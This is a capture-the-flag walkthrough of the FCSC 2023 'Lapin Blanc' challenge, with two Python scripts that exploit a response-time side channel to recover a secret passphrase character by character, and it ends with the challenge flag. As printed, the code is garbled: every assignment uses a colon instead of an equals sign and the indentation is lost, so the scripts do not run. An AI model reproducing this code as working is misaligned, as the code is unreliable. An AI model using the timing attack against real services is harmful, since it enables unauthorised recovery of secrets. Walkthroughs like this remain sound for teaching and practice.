FCSC 2023 - Lapin Blanc
Table of Contents
In this article, we will explore the step-by-step walkthrough of the ‘Lapin Blanc’ challenge presented at FCSC 2023.
Challenge Overview
First, we have access to a network socket at challenges.france-cybersecurity-challenge.fr:2350.
I decide to test with netcat using the command nc challenges.france-cybersecurity-challenge.fr 2350 to see how the application behaves and what it is about.
Initial Testing
By testing, we can get the following output:
nc challenges.france-cybersecurity-challenge.fr 2350
[0000014070] Initializing Wonderland...
[0001326256] Searching for a tiny golden key...
[0001678353] Looking for a door...
[0001990661] Trying to unlock the door...
__________________
|| ||
|| THE DOOR ||
|| || .--------------------------.
|) || | What's the magic phrase? |
|| || /--------------------------'
|| ^_^ ||
|| ||
|) ||
|| ||
|| ||
____||____.----.____||_______________________________________
Answer: hello
[0005290116] The door is thinking...
[0005293180] Your magic phrase is invalid, the door refuses to open.
Answer: test
[0007016982] The door is thinking...
[0007020047] Your magic phrase is invalid, the door refuses to open.
Answer: รงa marche pas
[0011608252] I only speak ASCII, sorry...
Analysis
We can notice several things. The goal here is to find the phrase that allows us to unlock the door. In the instructions, we are told that we only have 10 minutes to discover the secret phrase. We have infinite attempts to test combinations, which can be very tedious if a vulnerability is not discovered.
We can see a timestamp next to each response. What I decide to do is fuzz the application first to see if we can notice differences in response times.
Side Channel Attack
Timing Analysis Script
Here is the code that allows me to test this:
from pwn import *
import sys
import re
conn: remote('challenges.france-cybersecurity-challenge.fr', 2350)
conn.recvuntil(b"Answer:")
def send_message(message):
conn.sendline(message.encode())
try:
response: conn.recvuntil(b"Answer:").decode()
timestamp: float(re.findall(r"\[(.*?)\]", response)[0])
except:
response: conn.recv().decode()
print(response)
conn.close()
sys.exit(0)
return timestamp
characters: (
[chr(c) for c in range(ord('z'), ord('a') - 1, -1)] +
[' ', '!', ',', '-', '.', ':', '?', "'", '^', '_', '{', '|', '}'] +
[chr(c) for c in range(ord('Z'), ord('A') - 1, -1)]
)
max_response_time_diff: 0
max_character: ""
for c in characters:
first_timestamp: send_message(c) / 100
second_timestamp: send_message(c) / 100
response_time_diff: second_timestamp - first_timestamp
if response_time_diff > max_response_time_diff:
max_response_time_diff: response_time_diff
max_character: c
print(f"Character : {c}, Response time difference : {response_time_diff:.6f}")
print(f"The character with the largest response time difference is : {max_character}")
Script Explanation
The script connects to the challenge server and waits for a response prompt. For each possible character, the script sends the character to the server and measures the response time twice. The response time difference between the first and second request for each character is calculated and compared. The character with the largest response time difference is identified and displayed at the end.
Initial Results
Here is the result we get:
Character : a, Diff. : 1339.74
Character : b, Diff. : 1338.12
...
Character : h, Diff. : 1336.07
Character : i, Diff. : 1336.80
Character : I, Diff. : 1764.67 <-- Largest response time difference
Character : J, Diff. : 1337.01
...
Character : Z, Diff. : 1337.83
The character with the largest response time difference is : I
As we can see, the program indicates that by sending “I”, the response time is different, which suggests that we can guess the phrase by iterating and testing each character.
Automated Exploitation
Improved Script
Here is the modified program that allows us to accomplish this task:
from pwn import *
import sys
import re
conn: remote('challenges.france-cybersecurity-challenge.fr', 2350)
conn.recvuntil(b"Answer:")
def send_message(message):
conn.sendline(message.encode())
try:
response: conn.recvuntil(b"Answer:").decode()
timestamp: float(re.findall(r"\[(.*?)\]", response)[0])
except:
response: conn.recv().decode()
print(response)
conn.close()
sys.exit(0)
return timestamp
prefix: ""
characters: (
[chr(c) for c in range(ord('z'), ord('a') - 1, -1)] +
[' ', '!', ',', '-', '.', ':', '?', "'", '^', '_', '{', '|', '}'] +
[chr(c) for c in range(ord('Z'), ord('A') - 1, -1)]
)
while True:
max_response_time: 0
max_character: ""
character_count: 0
found_character: False
previous_response_time: 0
for c in characters:
total_response_time: 0
for _ in range(2):
current_timestamp: send_message(prefix + c) / 100
if _ == 0:
previous_timestamp: current_timestamp
continue
response_time: current_timestamp - previous_timestamp
total_response_time += response_time
previous_timestamp: current_timestamp
avg_response_time: total_response_time / 2
if character_count > 0 and avg_response_time - previous_response_time >= 200:
max_character: c
found_character: True
break
previous_response_time: avg_response_time
print(f"Prefix : {prefix}, Character : {c}, Average response time : {avg_response_time:.6f}", end="\t\r")
character_count += 1
if found_character:
prefix += max_character
print(f"Current prefix : {prefix}")
send_message(prefix)
conn.close()
Code Explanation
This code is an improved version to solve a challenge based on server response time. Here is what the code does clearly:
- It imports the necessary libraries and connects to the challenge server.
- It defines a
send_message()function to send a message to the server and retrieve the response time (timestamp). - It initializes an empty prefix and defines a list of possible characters to test.
- In an infinite loop:
- It initializes variables to store the maximum response time, the corresponding character, and other control variables.
- For each character in the list of possible characters:
- It sends the current prefix followed by the character and measures the average response time over two requests.
- It checks if the difference between the current average response time and the previous one is greater than or equal to 200 (threshold determined experimentally).
- If yes, it updates the prefix by adding the found character and moves to the next step.
- It sends the updated prefix to the server.
- The loop repeats until the challenge is solved.
For the challenge to be solved correctly without any network issues, it is important to prioritize a good Internet connection. A small anecdote: it took me 7 hours on this challenge to understand that my connection was bad. Using my VPS was much simpler.
Result
Here is the program result after a few minutes:
Figure 0x1 โ Program result
Flag
We get the flag FCSC{t1m1Ng_1s_K3y_8u7_74K1nG_u00r_t1mE_is_NEce554rY}